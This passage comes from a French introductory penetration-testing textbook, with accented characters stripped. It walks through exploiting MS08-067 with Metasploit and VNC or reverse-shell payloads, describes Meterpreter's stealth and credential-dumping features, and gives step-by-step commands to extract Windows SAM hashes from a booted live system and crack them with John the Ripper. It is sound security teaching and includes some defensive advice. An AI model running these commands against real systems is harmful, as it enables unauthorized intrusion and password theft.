La fonction de recherche de Metasploit permet galement de localiser des exploits non Microsoft. Nessus et les autres outils de scan, comme le script vuln de Nmap, incluent souvent un numro CVE ou BID pour faire rfrence aux vulnrabilits critiques. Si vous ne parvenez pas trouver un correctif Microsoft manquant ou si vous menez un test dintrusion sur une cible non Microsoft, noubliez pas de rechercher les exploits par leur numro CVE ou BID. Vous les trouverez dans le rapport du scan de vulnrabilits. Sur le site web de Metasploit, vous trouverez de plus amples informations et une dfinition formelle du systme de classement. Enfin, la fonction de recherche de Metasploit affiche une courte description de lexploit, avec des dtails sur lattaque. Vous devez toujours choisir les exploits de rang le plus lev, car ils prsentent moins de risques de dysfonctionnement sur le systme cible. Nous savons prsent comment relier les vulnrabilits dcouvertes par Nessus aux exploits dfinis dans Metasploit. Nous avons galement la possibilit de choisir entre deux exploits Metasploit (voire plus). Nous sommes donc prts lancer toute la puissance de cet outil sur notre cible. Dans la suite de notre exemple, nous exploiterons la vulnrabilit lie au correctif MS08-067 car lexploit correspondant a le rang le plus lev.

Pour excuter Metasploit, nous devons fournir au framework une suite de commandes. Puisquil est dj en cours dexcution et que nous avons identifi lexploit appropri, nous pouvons saisir la commande use pour slectionner cet exploit : use exploit/windows/smb/ms08_067_netapi Elle demande Metasploit dutiliser lexploit que notre scanner de vulnrabilits a identifi. Linvite msf> est modifie de faon montrer lexploit choisi. Une fois lexploit activ, nous devons examiner les charges disponibles. Pour cela, nous saisissons la commande suivante : show payloads Elle recense toutes les charges compatibles avec lexploit activ. Pour slectionner lune delles, nous utilisons la commande set payload suivie du nom de la charge : set payload windows/vncinject/reverse_tcp Le choix doit se faire parmi de trs nombreuses charges. Nous prsenterons les plus employes plus loin ; une description complte des diffrentes charges sort du cadre de cet ouvrage. Consultez la documentation de Metasploit afin de connatre le dtail de chaque charge disponible. Dans notre exemple, nous allons installer VNC sur la machine cible et lui demanderons dtablir une connexion avec la ntre. Pour ceux qui ne le savent pas, VNC est un logiciel de contrle distance qui permet un utilisateur de se connecter une machine distante, de lexaminer et den contrler la souris et le clavier comme sil se trouvait devant cette machine. Il fonctionne la manire de Bureau distance ou de Terminal Server. Il est important de noter que VNC nest pas actuellement install sur la machine cible. Noubliez pas que certains exploits nous donnent la possibilit dinstaller un logiciel sur la cible. Dans cet exemple, si lexploit

que nous envoyons parvient sexcuter, il va appeler la charge install vnc et installer distance le logiciel sur la victime sans aucune interaction avec lutilisateur. Chaque charge demande des options supplmentaires diffrentes. Si nous ne dfinissons pas les options requises par une charge, lexploit chouera. Il ny a rien de plus pnible que darriver aussi loin et dchouer en raison dune option non configure. Pour connatre les options disponibles, excutez la commande suivante linvite msf> : show options Elle affiche une liste de choix propres la charge choisie. Dans le cas de windows/vncinject/reverse_tcp, nous constatons que deux options doivent tre configures car elles nont pas de valeur par dfaut : RHOST et LHOST. La premire indique ladresse IP de lhte cible distant ( remote host), tandis que la seconde prcise ladresse IP de la machine dattaque ( local host). Pour fixer la valeur dune option, il suffit dutiliser la commande set nom_option : set RHOST 192.168.56.103 set LHOST 192.168.56.101 Aprs que les options requises ont t dfinies, il est bon dexcuter nouveau la commande show options afin de vrifier que tout est correct : show options Les vrifications tant faites, nous sommes prts lancer notre exploit. Pour cela, il suffit de saisir le mot cl exploit linvite msf> et dappuyer sur la touche Entre : exploit

La Figure 4.5 rcapitule les commandes excuter pour lancer lexploit (les commandes show payloads et show options sont absentes car elles ne sont pas indispensables).

Figure 4.5 Les commandes ncessaires lancer un exploit partir de Metasploit.

Aprs que la commande exploit a t mise, asseyez-vous et regardez la magie oprer. Pour vritablement apprcier la beaut et la complexit de ce qui se passe, vous devrez comprendre les principes des dbordements de tampon et de lexploitation. Nous vous le conseillons fortement lorsque vous matriserez les bases de donnes dans cet ouvrage. Metasploit vous permet de voir plus loin en montant sur les paules de gants et vous offre la possibilit de lancer des attaques incroyablement complexes en quelques commandes. Dlectez-vous de linstant prsent et apprciez la conqute de la cible, mais vous devez galement vous promettre den apprendre plus. Engagez-vous rellement comprendre lexploitation. Ds quil reoit la commande exploit, Metasploit prend le relais et ralise son travail, en envoyant des exploits et des charges sur la cible. Cest ce moment-l que le hacking se passe comme au cinma. Si nous avons tout configur correctement, au bout de quelques secondes nous obtenons un

cran qui appartient la machine victime. Puisque la charge utilise dans cet exemple correspond linstallation de VNC, nous avons la possibilit dinteragir avec la machine cible comme si nous tions assis devant son clavier et son cran. La premire fois quun novice ralise cet exploit en temps rel, il lui est difficile de ne pas tre impressionn, voire un tantinet perplexe. La Figure 4.6 illustre notre exemple dattaque mene bien avec Metasploit. Vous remarquerez que lordinateur qui a lanc lattaque tourne sous Kali, mais que lassaillant dispose dun accs graphique total au bureau de Windows de la victime.

Figure 4.6 Russite dun exploit sur une cible Windows.

Voici la liste des tapes requises pour excuter Metasploit sur une machine cible : 1. Dmarrez Metasploit en ouvrant une fentre de terminal et en excutant la commande suivante : msfconsole 2.Excutez la commande search pour rechercher les exploits qui correspondent au rapport produit par le scanner de vulnrabilits : msf > search numro_correctif_manquant (ou CVE) 3.Excutez la commande use pour slectionner lexploit souhait : msf > use nom_exploit_et_chemin 4.Excutez la commande show payloads pour connatre les charges disponibles : msf > show payloads 5.Excutez la commande set pour slectionner une charge : msf > set payload chemin_de_la_charge 6.Excutez la commande show options pour afficher les options dfinir avant de lancer lexploit sur la cible : msf > show options 7.Excutez la commande set pour fixer les options requises :

msf > set nom_option valeur_option 8.Excutez la commande exploit pour lancer lexploit sur la cible : msf > exploit Attention La charge VNC impose que la cible tourne sur un systme dexploitation avec une interface graphique comme Microsoft Windows. Si ce nest pas le cas, il existe de nombreuses autres charges qui permettent dobtenir un accs direct au systme cible. Puisque vous disposez prsent des bases de lutilisation de Metasploit, il est important que vous examiniez quelques autres charges de base disponibles. Mme si linjection de VNC va impressionner vos amis, vos relations et vos collgues, elle est rarement employe dans un test dintrusion rel. En effet, les hackers prfrent disposer dun simple shell qui permet les accs distance et le contrle de la machine cible. Le Tableau 4.1 recense une partie des charges de base. La liste complte est disponible dans la documentation de Metasploit. Noubliez pas que la puissance de ce framework vient notamment de sa facult mlanger et associer les exploits et les charges. Le testeur dintrusion dispose ainsi dune souplesse incroyable et peut ajuster le fonctionnement de Metasploit selon les rsultats souhaits. Il est essentiel que vous vous familiarisiez avec les diffrentes charges proposes. Tableau 4.1 : Exemples de charges envoyer aux machines Windows Nom Description Cre sur la machine cible un nouvel utilisateur qui appartient au groupe

windows/adduser

administrateur. Excute sur la machine cible un binaire Windows ( .exe ). Ouvre sur la machine cible un shell de commande et attend une connexion. La machine cible se connecte lassaillant et ouvre un shell de commande. La machine cible installe Meterpreter et attend une connexion.

windows/exec

windows/shell_bind_tcp

windows/shell_reverse_tcp

windows/meterpreter/bind_tcp

Installe Meterpreter sur la machine windows/meterpreter/reverse_tcp cible et cre une connexion de retour lassaillant. Installe VNC sur la machine cible et attend une connexion. Installe VNC sur la machine cible et renvoie une connexion VNC la cible.

windows/vncinject/bind_tcp

windows/vncinject/reverse_tcp

Un grand nombre de charges existent la fois pour Linux, BSD, OS X et dautres systmes dexploitation. Tous les dtails se trouvent dans la documentation de Metasploit. De nombreuses personnes ont du mal faire la diffrence entre des charges similaires, par exemple entre windows/meterpreter/bind_tcp et windows/meterpreter/reverse_tcp. Dans ce cas, la confusion vient du mot "reverse". La diffrence entre les deux charges est simple, mais elle est importante. Savoir quand utiliser lune ou lautre fera souvent la diffrence entre le succs ou lchec dun exploit. Dans ces attaques, le point important est le sens de la connexion aprs que lexploit a t livr. Dans une charge "bind", nous envoyons lexploit et nous tablissons une connexion avec la cible partir de la machine dattaque. Lassaillant envoie lexploit la cible, qui attend passivement larrive dune connexion. Une fois lexploit envoy, la machine de lassaillant se connecte la cible. Dans une charge "reverse", la machine dattaque envoie lexploit mais demande la machine cible de se connecter celle de lassaillant. Dans ce type dattaque, plutt quattendre passivement une connexion entrante sur un port ou un service prcis, la machine cible tablit une connexion de retour vers lassaillant. La Figure 4.7 devrait rendre ce principe plus clair.

Figure 4.7 Diffrence entre les charges "bind" et "reverse". Pour finir sur le sujet de Metasploit, nous prsentons Meterpreter. Il sagit dun outil puissant et souple que vous devrez apprendre contrler si vous envisagez de devenir un expert de Metasploit. Le "mtainterprteur", ou Meterpreter, est une charge de Metasploit qui donne lassaillant un shell de commande grce auquel il peut interagir avec la cible. Lavantage de Meterpreter est quil sexcute intgralement en mmoire, sans jamais utiliser le disque dur. Cette approche amliore sa discrtion et lui permet dchapper de nombreux systmes antivirus et de laisser perplexes certains outils danalyse forensique. Meterpreter opre de manire comparable aux commandes cmd.exe de Windows et /bin/sh de Linux. Aprs avoir t install sur la machine

cible, il permet lassaillant dinteragir avec celle-ci et dy excuter des commandes comme sil se trouvait devant son clavier et son cran. Il faut bien comprendre que Meterpreter sexcutera avec les droits associs au programme qui a t exploit. Par exemple, supposons que notre administrateur rseau prfr, Alain Trieur, ait perdu tout bon sens et excute son programme IRC en tant que "root" (lquivalent Linux du compte administrateur sous Windows). Malheureusement pour Alain, son systme est obsolte et, au cours dun test dintrusion rcent, lassaillant a t capable dexploiter le client IRC et dinstaller Meterpreter. Puisque Alain utilise le programme IRC avec le compte root et que ce programme a t pirat par Metasploit, le shell Meterpreter est prsent capable de fonctionner avec tous les droits et privilges du compte root ! Ce nest quun exemple dune longue liste de raisons qui justifient lexcution des programmes avec les droits les plus restrictifs possible ; il faut tout prix viter dexcuter quoi que ce soit en tant que superutilisateur ou administrateur. Contrairement un interprteur de commande classique sous Windows ou sous Linux, Meterpreter ne va pas lancer un nouveau processus qui pourra tre dtect par un utilisateur attentif ou un administrateur habile. Sil utilise ces interprteurs de commande, lassaillant augmente sa visibilit et les risques de dtection pendant ses interactions avec la cible. Par ailleurs, cmd.exe et /bin/sh proposent un nombre limit doutils et de commandes. loppos, Meterpreter a t conu ds le dpart pour servir dinterprteur de commande au hacker, en lui donnant la possibilit daccder la plupart des outils et des fonctions requises par un test dintrusion et de les contrler. Meterpreter bnficie de nombreuses fonctionnalits intgres. Cela comprend la commande migrate, qui permet de dplacer le serveur vers un autre processus. Cette opration est importante car le service vulnrable qui a t attaqu peut tre arrt ou teint. La commande cat se rvlera galement utile car elle permet dafficher lcran le contenu dun fichier local. La commande download permet de rcuprer un fichier ou un rpertoire partir de la machine cible et den faire une

copie sur la machine de lassaillant. La commande upload est utilise pour transfrer des fichiers depuis la machine de lassaillant vers la machine cible. La commande edit permet de modifier des fichiers simples. La commande execute est capable dexcuter une commande sur la machine distante, tandis que kill est en mesure darrter un processus. Les commandes suivantes seront galement trs utiles et apportent les mmes fonctions que sur une machine Linux normale : cd, ls, ps, shutdown, mkdir, pwd et ifconfig. Les fonctionnalits plus labores permettent de rcuprer des mots de passe chiffrs (commande hashdump), dinteragir avec un shell Ruby, de charger et dexcuter des DLL quelconques sur la cible, de contrler distance la webcam et le microphone, et mme de verrouiller le clavier et la souris de la cible ! Vous le constatez, obtenir un accs au shell Meterpreter offre lassaillant lune des solutions les plus puissantes, souples et discrtes pour interagir avec une cible. Vous ne perdrez pas votre temps en apprenant utiliser cet outil pratique. Nous reviendrons sur Meterpreter lors de la phase de postexploitation.

John the Ripper


Il est difficile dimaginer traiter un sujet comme les bases du hacking sans sintresser aux mots de passe et leur craquage. Quoi que nous fassions, ces mots de passe restent la solution la plus rpandue de protger des donnes et dautoriser un accs des systmes. En gardant cela lesprit, prsentons les bases du craquage des mots de passe. Le testeur dintrusion a plusieurs bonnes raisons de sintresser au craquage des mots de passe. Tout dabord, cela lui permet dobtenir des privilges plus levs. Prenons lexemple suivant : supposons que nous ayons t en mesure de compromettre un systme cible mais que, aprs avoir ouvert une session, nous dcouvrions que nous ne disposons

daucun droit sur ce systme. Quels que soient nos actions, nous sommes incapables de lire et dcrire des fichiers, de manipuler des dossiers ou dinstaller des logiciels. Cela se produit souvent lorsque nous obtenons un accs travers un compte dutilisateur appartenant au groupe user ou guest, dont les autorisations sont rduites. Si le compte utilis ne dispose daucun droit, ou de trs peu, nous ne pourrons pas raliser la plupart des tapes ncessaires compromettre rellement le systme. Jai assist plusieurs manuvres de la Red Team dans lesquelles des hackers pourtant comptents taient totalement perdus lorsquils se trouvaient avec un compte sans privilges. Ils levaient alors les bras en disant : "Qui veut un accs non privilgi cette machine ? Je ne sais pas quoi en faire." Dans ce cas, le craquage dun mot de passe est une solution efficace pour augmenter ses privilges et souvent obtenir des droits dadministration sur la cible. Craquer les mots de passe et augmenter les privilges prsentent un autre intrt : de nombreux outils employs par les testeurs dintrusion ont besoin dun accs de niveau administrateur pour sinstaller et sexcuter correctement. Il peut parfois arriver que le testeur dintrusion craque le mot de passe de ladministrateur local (le compte dadministrateur de la machine locale) et quil se rvle tre identique celui du compte de l administrateur de domaine . Attention Nutilisez jamais, mais vraiment jamais, le mme mot de passe pour ladministrateur de la machine locale et pour ladministrateur de domaine. Si nous pouvons accder aux mots de passe chiffrs de la machine cible, il est fort possible quavec un temps suffisant John the Ripper (JtR), outil de craquage des mots de passe, puisse dcouvrir un mot de passe en clair. La version chiffre dun mot de passe est obtenue par un hachage du mot

de passe en clair. Nous pouvons accder ces versions chiffres distance ou localement. Dans les deux cas, les tapes et les outils impliqus dans le craquage des mots de passe restent identiques. Dans sa version la plus simple, le craquage dun mot de passe comprend deux parties : 1. Localiser le fichier des mots de passe chiffrs sur le systme cible et le tlcharger. 2. Employer un outil pour convertir les mots de passe chiffrs en mots de passe en clair. La plupart des systmes stockent les mots de passe non pas sous la forme o nous les saisissons, mais dans une version chiffre appele hash. Par exemple, supposons que vous choisissiez "azerty" pour mot de passe (ce qui est videmment une mauvaise ide). Lorsque vous ouvrez une session sur un ordinateur, vous saisissez le mot de passe "azerty" pour accder au systme. En coulisse, lordinateur calcule, cre, transmet et vrifie une version chiffre du mot de passe saisi. Ce hash du mot de passe ressemble une chane de caractres et de chiffres alatoires. Lalgorithme de hachage employ pour chiffrer les mots de passe peut varier en fonction des systmes. La plupart dentre eux stockent ces versions chiffres en un seul endroit. Ce fichier contient gnralement les mots de passe chiffrs de plusieurs comptes dutilisateurs et du systme. Malheureusement, accder aux mots de passe chiffrs ne reprsente que la moiti du travail, car un simple examen dun hash ne suffit pas pour en dterminer la version en clair. En effet, il est, normalement, techniquement impossible de partir dun hash et darriver la version en clair. Par dfinition, un hash na pas pour vocation tre dchiffr. Prenons un exemple. Supposons que nous ayons obtenu la version chiffre dun mot de passe et que nous souhaitions dcouvrir sa version en clair. Il est important de comprendre que, dans la plupart des cas, nous avons besoin non pas du hash mais du mot de passe en clair. La saisie de la valeur chiffre dans le systme ne nous permettra pas dobtenir un accs car elle sera simplement de nouveau chiffre.

Info Il existe une attaque nomme "Pass the hash" qui permet de renvoyer la version chiffre dun mot de passe afin de sauthentifier auprs dun service protg. Lorsque cette attaque est employe, le craquage du mot de passe pour obtenir sa version en clair devient inutile. Dterminer la version en clair dun mot de passe se fait en plusieurs tapes. Tout dabord, nous choisissons un algorithme de hachage, ensuite nous prenons un mot en clair, puis nous le chiffrons laide de lalgorithme de hachage, et, enfin, nous comparons la nouvelle version chiffre obtenue avec le hash cible. Si les deux versions chiffres correspondent, cela signifie que nous avons dcouvert le mot de passe en clair. En effet, il nest pas possible dobtenir le mme hash en partant de deux mots diffrents. Bien que cette procdure puisse sembler lourde, difficile ou lente pour un tre humain, des ordinateurs se sont spcialiss dans de telles oprations. En raison de la puissance de calcul disponible aujourdhui, cette procdure en quatre tapes est triviale pour un ordinateur moderne. La vitesse laquelle John the Ripper est capable de gnrer des mots de passe chiffrs dpend de lalgorithme de hachage et du matriel utiliss. Nous pouvons toutefois assurer quun ordinateur normal est capable de grer des millions de mots de passe Windows par seconde. John the Ripper dispose dune fonctionnalit qui permet dvaluer les performances de lordinateur. Les rsultats se mesurent en coups par seconde (c/s). Pour tester votre machine, allez dans le rpertoire de John the Ripper : cd /usr/share/john Toutefois, en fonction de votre systme, vous pourriez ne pas avoir aller dans ce rpertoire car lexcutable de John the Ripper pourra se trouver dans /usr/sbin/. Excutez ensuite la commande suivante pour

obtenir votre score : john --test Vous obtenez une liste de mesures de performances qui indiquent lefficacit de votre systme dans la gnration des mots de passe chiffrs, en fonction de votre matriel et de lalgorithme utilis. Nous lavons mentionn prcdemment, le craquage dun mot de passe peut tre ralis sous forme dune attaque locale ou distante. Dans les explications suivantes, nous nous focaliserons sur le craquage local. Cest ainsi quun assaillant ou un testeur dintrusion craquerait les mots de passe sil disposait dun accs physique la machine. En tudiant lattaque dun point de vue local, vous allez apprendre les bonnes techniques. Nous terminerons cette section en expliquant comment cette attaque peut tre mene distance. Craquage local des mots de passe Avant de pouvoir craquer des mots de passe sur une machine locale, nous devons tout dabord obtenir le fichier des mots de passe chiffrs. Nous lavons mentionn prcdemment, la plupart des systmes le placent en un seul endroit. Sur une machine Windows, les versions chiffres se trouvent dans un fichier particulier nomm fichier SAM ( Security Account Manager). Sur un systme Windows de type NT, y compris Windows 2000 et ultrieures, le fichier SAM est prsent dans le dossier C:\Windows\System32\Config\. Puisque nous connaissons prsent son emplacement, nous devons en extraire les mots de passe chiffrs. Mais, en raison des informations importantes quil contient, Microsoft a ajout des fonctions de scurit pour le protger. La premire protection est un verrouillage du fichier SAM au dmarrage du systme dexploitation. Autrement dit, pendant que le systme dexploitation sexcute, nous navons pas la possibilit douvrir ou de copier le fichier SAM. Outre le verrou, lintgralit du fichier est

chiffre et non consultable. Heureusement, il existe un moyen pour contourner ces barrires. Puisque nous nous intressons des attaques locales et que nous disposons dun accs physique au systme, la solution la plus simple consiste dmarrer la machine avec un autre systme dexploitation, comme Kali. En initialisant notre cible de cette faon, nous pouvons contourner le verrouillage du fichier SAM par Windows. En effet, le systme dexploitation Windows nest alors pas dmarr, le verrou nest donc pas pos et nous avons toute libert daccder ce fichier. Malheureusement, il nen reste pas moins chiffr et nous avons donc besoin dun outil pour accder son contenu. Par chance, cet outil est disponible dans Kali. Info Il existe plusieurs manires de dmarrer la cible avec un systme dexploitation alternatif. La mthode la plus simple consiste tlcharger un CD ou un DVD "live". Il peut tre grav sur un disque, que nous pouvons insrer dans le lecteur de la machine cible. Au dmarrage, de nombreux systmes vrifient si un disque est prsent dans leur lecteur et tentent automatiquement de dmarrer partir de ce support sil est dtect. Dans le cas contraire, nous pouvons utiliser une combinaison de touches pour prciser le priphrique de dmarrage ou pour accder aux paramtres du BIOS afin dy indiquer lordre des priphriques de dmarrage. Si la cible ne dispose pas dun lecteur optique, nous pouvons galement utiliser UNetbootin pour crer une cl USB amorable. UNetbootin permet de produire des versions "live" de Kali et de plusieurs autres distributions Linux. En associant UNetbootin et une image ISO de Kali, nous pouvons excuter un systme dexploitation complet partir dune

cl USB. Nous disposons alors dune bote outils puissante, portable et discrte. linstar du CD/DVD live, il faudra probablement modifier lordre des priphriques de dmarrage sur la machine cible avant quelle puisse sinitialiser avec le systme dexploitation de la cl USB. Aprs que le systme cible a dmarr partir dun autre systme dexploitation, nous devons monter le disque dur local, celui qui contient le dossier de Windows. Pour cela, il suffit dexcuter une commande semblable la suivante : mount /dev/sda1 /mnt/sda1 Il est important de dterminer le lecteur appropri, car tous les systmes cibles nauront pas ncessairement /dev/sda1. Si vous ntes pas certain du lecteur monter, excutez la commande fdisk -l partir du terminal. Elle affiche la liste des lecteurs disponibles sur le systme cible, ce qui devrait vous aider dterminer celui qui doit tre mont. Vous devrez peut-tre crer un point de montage dans le rpertoire /mnt. Pour cela, utilisez la commande mkdir : mkdir /mnt/sda1 Si vous avez des difficults utiliser la commande mount ou localiser le lecteur appropri, consultez sa page de manuel ou mettez en pratique les connaissances Google que vous avez acquises lors de la phase 1. Aprs avoir mont le disque local dans Kali, nous pouvons parcourir le dossier C:\ de Windows pour aller jusquau fichier SAM : cd /mnt/sda1/WINDOWS/system32/config Si tout se passe comme prvu, nous sommes prsent dans le dossier qui contient le fichier SAM. Pour examiner le contenu du dossier courant, nous utilisons la commande ls dans la fentre de terminal. Elle doit

afficher le fichier SAM. La Figure 4.8 montre chaque tape ncessaire la localisation du fichier SAM (nous supposons que le rpertoire /mnt/sda1 a dj t cr).

Figure 4.8 Localiser le fichier SAM pour un craquage local des mots de passe. Nous commenons par excuter la commande fdisk -l afin de connatre les lecteurs disponibles. Elle nous indique quil existe un lecteur /dev/sda1. Nous utilisons cette information pour monter le lecteur sur le dossier /mnt/sda1 afin de pouvoir accder au disque dur local. Ensuite, laide de la commande cd, nous allons dans le dossier qui contient le fichier SAM. Nous vrifions que nous sommes dans le dossier appropri

en affichant son contenu avec la commande ls. Nous constatons que le fichier SAM est bien prsent. Nous avons localis le fichier SAM et avons la possibilit de lexaminer et de le copier, contournant ainsi la premire protection, mais il reste nanmoins chiffr. Pour en obtenir une version non chiffre, nous devons utiliser SamDump2. SamDump2 se sert dun fichier system sur la machine locale pour dchiffrer le fichier SAM. Heureusement, ces deux fichiers se trouvent dans le mme dossier. Nous excutons la commande samdump2 en lui passant le nom et lemplacement du fichier SAM examiner ainsi que ceux du fichier system. Nous avons prcdemment utilis la commande cd pour aller dans le dossier Windows/system32/config. Nous pouvons donc extraire le contenu du fichier SAM en excutant la commande suivante depuis un terminal : samdump2 SAM system > /tmp/mdp_chiffres.txt Elle invoque le programme SamDump2, et lajout de > /tmp/mdp_chiffres.txt permet denregistrer les rsultats dans le fichier mdp_chiffres.txt sous le rpertoire /tmp de Kali. Il est prfrable de vrifier les mots de passe extraits avant daller plus loin. Pour cela, nous utilisons la commande cat de faon contrler que nous disposons dune copie locale du fichier mdp_chiffres.txt : cat /tmp/mdp_chiffres.txt La Figure 4.9 illustre lutilisation de SamDump2 et montre le contenu du fichier mdp_chiffres.txt gnr.

Figure 4.9 Extraire et examiner les mots de passe chiffrs avec SamDump2. Attention Sur certains systmes Windows, laccs aux versions chiffres brutes peut exiger une tape supplmentaire. Loutil BkHive sert extraire la cl syskey partir de la ruche systme. Vous devrez peut-tre utiliser BkHive afin dobtenir cette cl et daccder aux mots de passe chiffrs. BkHive attend le fichier system et le nom du fichier de sortie dans lequel sera place la cl extraite. Nous lavons mentionn, Microsoft a t suffisamment gentil pour que le fichier system se trouve dans le mme rpertoire que le fichier SAM, en gnral WINDOWS/system32/config. Si vous examinez le contenu de ce dossier, vous devez trouver le fichier

system de la machine cible. En supposant que le rpertoire courant soit celui qui contient les fichiers system et SAM, la commande suivante permet dextraire la cl : bkhive system cle_sys.txt Nous pouvons ensuite poursuivre lattaque avec SamDump2. Dans ce cas, nous linvoquons avec le fichier cle_sys.txt que nous venons de crer : samdump2 SAM cle_sys.txt > /tmp/mdp_chiffres.txt Tout au long de cet exemple, comme pour tous ceux de cet ouvrage, faites attention lcriture des noms des dossiers, des fichiers et des rpertoires (orthographe et casse). En fonction de la version de Windows, system32 ou System32 peut tre employ. La saisie dun nom incorrect provoquera lchec de la commande. partir des mots de passe chiffrs extraits, nous pouvons poursuivre leur craquage avec John the Ripper. Les mots de passe chiffrs tant prsent enregistrs, nous devons les transfrer en dehors du disque live de Kali. Pour cela, il suffit denvoyer le fichier mdp_chiffres.txt par courrier lectronique nous-mmes ou dinsrer une cl USB et de ly recopier. Quelle que soit la solution employe, vrifiez que vous enregistrez le fichier mdp_chiffres.txt car vous utilisez un CD "live" et les modifications ne sont donc pas

permanentes. Autrement dit, lorsque vous redmarrez la machine cible, tous les fichiers que vous aurez crs sur le disque de Kali auront disparu. Avec le fichier des mots de passe chiffrs de la cible entre les mains, nous pouvons commencer craquer les mots de passe. Pour cela nous utilisons loutil John the Ripper. linstar des autres outils prsents, celui-ci est disponible gratuitement. Vous pouvez le tlcharger partir de ladresse http://www.openwall.com/john. Avant de le mettre en uvre, il est important de comprendre comment Microsoft cre les mots de passe chiffrs. lorigine, Microsoft chiffrait les mots de passe laide de Lan Manager (ou LM). Lalgorithme employ tait de pitre qualit et le craquage des mots de passe tait trivial. Tout dabord, lintgralit du mot de passe tait convertie en majuscules. Cette opration est une erreur de base qui rduit la robustesse dun mot de passe. En effet, techniquement, si nous chiffrons les mots "Secret" et "secret", nous obtenons un hash diffrent, mme sils ne diffrent que dune seule lettre. Cependant, puisque LM convertit chaque caractre en majuscules, il rduit normment le nombre dessais raliser. Au lieu que lassaillant teste "secret", "Secret", "SECret", etc., cest--dire toutes les combinaisons possibles de lettres en majuscule et en minuscule, il peut se contenter de tester "SECRET". Pour aggraver ce problme, chaque mot de passe de Lan Manager comprend quatorze caractres. Si le mot de passe saisi en comprend moins, les lettres manquantes sont remplaces par des valeurs nulles. Si le mot de passe saisi en comprend plus, il est tronqu quatorze caractres. Pour enfoncer le clou, les mots de passe de Lan Manager, qui ont prsent une taille de quatorze caractres, sont enregistrs sous forme de deux mots de passe individuels de sept caractres. La taille dun mot de passe influe directement sur sa robustesse. Malheureusement, en raison de la conception de LM, le plus long mot de passe craquer comprend

uniquement sept caractres. John the Ripper va donc tenter de craquer individuellement chaque moiti de sept caractres dun mot de passe, ce qui lui demandera peu de travail. Prenons le temps de rflchir ces dfauts. Runis, ils font souffler un vent de risque sur nimporte quel systme. Supposons que notre administrateur rseau prfr, Alain Trieur, se serve des mots de passe LM sur sa machine Windows. Il est conscient des dangers des mots de passe faibles et cre donc le mot de passe suivant quil pense robuste : SuperMotSecret!@#$. Malheureusement pour Alain, il vit avec un faux sentiment de scurit. Son mot de passe complexe va subir plusieurs modifications qui vont le rendre beaucoup moins robuste. Tout dabord, il est converti en majuscules : SUPERMOTSECRET!@#$. Ensuite, il est tronqu prcisment quatorze caractres, les lettres suivantes tant simplement ignores : SUPERMOTSECRET. Enfin, il est dcoup en deux parties gales de sept caractres : SUPERMO et TSECRET. Si un hacker ou un testeur dintrusion met la main sur le mot de passe dAlain, il doit craquer deux mots de passe simples de sept caractres en majuscule. La tche est devenue beaucoup plus simple quavec le passe du mot de passe dorigine SuperMotSecret!@#$. Heureusement, Microsoft a corrig ces problmes et utilise prsent NTLM ( NT Lan Manager) pour chiffrer les mots de passe. Cependant, en tant que testeur dintrusion, vous rencontrerez des systmes qui utilisent et stockent des mots de passe LM. Les versions rcentes de Windows nutilisent plus LM, mais il existe des options pour activer celui-ci sur ces systmes. Cette fonctionnalit a pour objectif dassurer la rtrocompatibilit avec les anciens systmes. Vous laurez compris, vous devez toujours mettre niveau les anciens logiciels qui se fondent sur les mots de passe LM, ou arrter de les utiliser. Avec les vieux systmes, lintgralit du rseau est en danger.

John the Ripper est capable de craquer les mots de passe en utilisant un dictionnaire ou en combinant des lettres. Nous lavons expliqu prcdemment, les dictionnaires de mots de passe sont des listes prdfinies de mots en clair et de combinaisons de lettres. Lutilisation dun dictionnaire a lavantage dtre trs efficace. En revanche, si le mot de passe prcis est absent du dictionnaire, John the Ripper chouera. Une autre solution consiste utiliser toutes les combinaisons de lettres possibles. Le logiciel va gnrer des mots de passe en squence, jusqu ce quil ait puis toutes les possibilits. Par exemple, il va commencer par le mot de passe dune seule lettre "a". Si cela ne convient pas, il tente ensuite "aa". En cas de nouvel chec, il passe "aaa", etc. Cette approche est plus lente que celle fonde sur le dictionnaire, mais, en lui accordant suffisamment de temps, le mot de passe finira par tre trouv. Si nous essayons lintgralit des combinaisons de lettres possibles, le mot de passe na aucune chance. Cependant, il est important de comprendre que cette solution applique des mots de passe de longueur importante chiffrs avec un algorithme digne de ce nom demandera normment de temps. John the Ripper est fourni avec Kali. Son excutable se trouvant dans le rpertoire /usr/sbin/, il suffit de saisir la commande suivante pour lexcuter : john En supposant que le fichier mdp_chiffres.txt se trouve dans le dossier /tmp/, voici comment nous pouvons le soumettre John the Ripper : john /tmp/mdp_chiffres.txt john invoque le programme de craquage des mots de passe John the Ripper. /tmp/mdp_chiffres.txt prcise lemplacement du fichier des mots de passe chiffrs que nous a donn SamDump2. Si vous avez enregistr ce fichier sous un autre nom ou dans un autre rpertoire, vous devez adapter ce chemin.

John the Ripper est capable de dterminer le type de mot de passe que nous souhaitons craquer, mais il est toujours prfrable dtre prcis. Pour cela, nous utilisons loption --format=nom_format. Le logiciel reconnat des dizaines de formats diffrents, dont vous trouverez les dtails dans la documentation ou sur le site web dopenwall.com. Rappelons que la plupart des systmes Windows modernes utilisent NTLM. Si cest le cas de votre cible, ajoutez loption --format=nt la commande : john /tmp/mdp_chiffres.txt --format=nt Aprs que nous avons saisi la commande approprie pour lancer John the Ripper, il tente de craquer les mots de passe contenus dans le fichier mdp_chiffres.txt. Sil y parvient, il affiche le mot de passe trouv lcran. La Figure 4.10 montre les commandes utilises pour lancer John the Ripper, ainsi que le nom dutilisateur et le mot de passe quil a pu craquer. Il affiche gauche le mot de passe en clair et droite le nom dutilisateur plac entre des parenthses.

Figure 4.10 Mots de passe craqus par John the Ripper.

Nous rcapitulons ci-aprs les tapes du craquage des mots de passe Windows. Noubliez pas que cette procdure concerne les attaques menes localement, avec un accs physique la machine cible. Il est important que vous pratiquiez et compreniez chacune des tapes indiques. Si vous disposez dun accs physique la machine, vous devez pouvoir raliser les tapes 1 4 en moins de cinq minutes. La dure de ltape 5, le craquage effectif des mots de passe, dpendra de vos ressources et de la qualit ou de la robustesse des mots de passe. Vous devez tre suffisamment familier avec chaque tape pour pouvoir les raliser sans laide de notes ou dune fiche : 1. Arrter la machine cible. 2. Dmarrer la machine cible sous Kali ou un autre systme

